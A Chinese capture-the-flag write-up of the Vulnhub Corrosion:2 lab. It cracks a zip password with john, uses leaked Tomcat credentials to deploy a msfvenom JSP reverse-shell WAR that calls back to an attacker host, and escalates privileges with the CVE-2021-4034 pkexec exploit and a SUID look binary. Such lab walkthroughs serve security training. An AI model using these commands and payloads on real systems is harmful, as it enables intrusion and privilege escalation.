本文主要是介绍Vulnhub——Corrosion:2靶机,希望对大家解决编程问题提供一定的参考价值,需要的开发者们随着小编来一起学习吧!
一、概要
攻击机:192.168.60.128
靶机:192.168.60.130
靶机下载地址:https://download.vulnhub.com/corrosion/Corrosion2.ova
二、主机发现
arp-scan扫描网段下主机ip
三、信息收集
nmap扫描发现目标靶机开放了三个端口:22、80、8080
分别对应一个ssh服务和两个http服务
四、渗透测试
1、dirsearch扫目录
首先是80端口,一个初始页面,没什么东西
dirsearch扫一下目录
没有什么可以利用的地方似乎
试一下8080端口,这里是一个tomcat的首页
dirsearch扫描一下,似乎有一些敏感信息泄露了出来
readme.txt一段文字
Hey randy! It's your System Administrator. I left you a file on the server, I'm sure nobody will find it.
Also remember to use that password I gave you.译文:
嘿,兰迪!这是您的系统管理员。我在服务器上给你留下了一个文件,我相信没有人会找到它。
还要记得使用我给你的密码。
显示在服务器上留下了一个文件,还有密码
根据上面扫描的结果,很可能就是backup.zip这个文件
确实会下载一个zip文件
果然是有密码的
2、john破解压缩包密码
使用john对压缩包密码进行一下破解
zip2john backup.zip > pass.txt //先用zip2john爆出hash文件john --wordlist=/usr/share/wordlists/rockyou.txt //再用john结合字典爆出密码
解压成功
在tomcat-users.xml文件中发现了用户名密码
账户名:
manager/admin
密码:
melehifokivai
3、msfvenom生成反弹shell的war包
使用msfvenom生成一个反弹shell的war包进行反弹shell
上传并部署这个war包
但是并没有什么用,部署后被删掉了好像
只能用其他办法了
4、利用msf获取shell
msf中有个脚本只要有用户名密码就可以上传文件反弹shell的exp
设置一下进行反弹shell文件的上传
获取到shell
python拿下标准的终端
python3 -c "import pty;pty.spawn('/bin/bash')"
来到randy用户目录下,查看文件
拿下第一个flag
查看一下note.txt的内容
Hey randy this is your system administrator, hope your having a great day! I just wanted to let you know
that I changed your permissions for your home directory. You won't be able to remove or add files for now.I will change these permissions later on.See you next Monday randy!译文:
嘿兰迪,这是你的系统管理员,希望你有一个美好的一天!我只是想让你知道
我更改了您对主目录的权限。您暂时无法删除或添加文件。稍后我将更改这些权限。下周一兰迪见!
根据提示,当前用户没什么权限
5、更换用户
这里查看一下/bin/sh权限的账户(sh和bash不同,sh相当于bash开启了posix标准模式)
有一个jaye账户
用同样的密码melehifokivai登录试试
登录成功,用的都是同一个密码
搜索一下具有SUID权限的命令
find / -perm -u=s -type f 2>/dev/null
在这其中发现了一个特殊的命令
五、提权
1、CVE-2021-4034提权
对应的CVE-2021-4034
berdav/CVE-2021-4034: CVE-2021-4034 1day (github.com)
靶机上面没有git命令
wget之后还没有make
这种情况很常见,也很正常,因为没必要有这个,去掉反而更安全
那就在攻击机上下载然后编译传到靶机上
先make编译
再zip压缩一下
在攻击机上用python3开启一个http服务
再从攻击机上下载编译好的文件
unzip解压一下
运行exp拿下flag
2、look越权
这里的这个look是有root权限的
直接使用这里的这个look就可以进行越权读取
但是需要对root下的文件名进行一下猜测
六、知识总结
1、john破解压缩包密码
使用john对压缩包密码进行一下破解
zip2john backup.zip > pass.txt //先用zip2john爆出hash文件john --wordlist=/usr/share/wordlists/rockyou.txt //再用john结合字典爆出密码
2、msfvenom生成反弹shell的war包
msfvenom -p java/jsp_shell_reverse_tcp LHOST=172.27.243.168 LPORT=4444 -f war > shell.war
3、CVE-2021-4034提权
exp地址:
berdav/CVE-2021-4034: CVE-2021-4034 1day (github.com)
获取exp后编译使用就可以
受影响版本
2009年5月至今发布的所有 Polkit 版本
注:Polkit预装在CentOS、Ubuntu、Debian、Redhat、Fedora、Gentoo、Mageia等多个Linux发行版上,所有存在Polkit的Linux系统均受影响。
不受影响版本
CentOS:
· CentOS 6:polkit-0.96-11.el6_10.2
· CentOS 7:polkit-0.112-26.el7_9.1
· CentOS 8.0:polkit-0.115-13.el8_5.1
· CentOS 8.2:polkit-0.115-11.el8_2.2
· CentOS 8.4:polkit-0.115-11.el8_4.2
Ubuntu:
· Ubuntu 14.04 ESM:policykit-1-0.105-4ubuntu3.14.04.6+esm1
· Ubuntu 16.04 ESM:policykit-1-0.105-14.1ubuntu0.5+esm1
· Ubuntu 18.04 LTS:policykit-1-0.105-20ubuntu0.18.04.6
· Ubuntu 20.04 LTS:policykit-1-0.105-26ubuntu1.2
· Ubuntu 21.10:policykit-1-0.105-31ubuntu0.1
Debain:
· :policykit-1 0.105-18+deb9u2
· Debain stretch:policykit-1 0.105-18+deb9u2
· Debain buster:policykit-1 0.105-25+deb10u1
· Debain bullseye:policykit-1 0.105-31+deb11u1
· Debain bookworm,bullseye:policykit-1 0.105-31.1
参考:CVE-2021-4034 polkit(pkexec)提权漏洞复现 - 腾讯云开发者社区-腾讯云 (tencent.com)
4、look越权
利用具有root权限的look命令,越权读取root路径下的flag文件
但是有个缺陷:需要猜一下文件名
这篇关于Vulnhub——Corrosion:2靶机的文章就介绍到这儿,希望我们推荐的文章对编程师们有所帮助!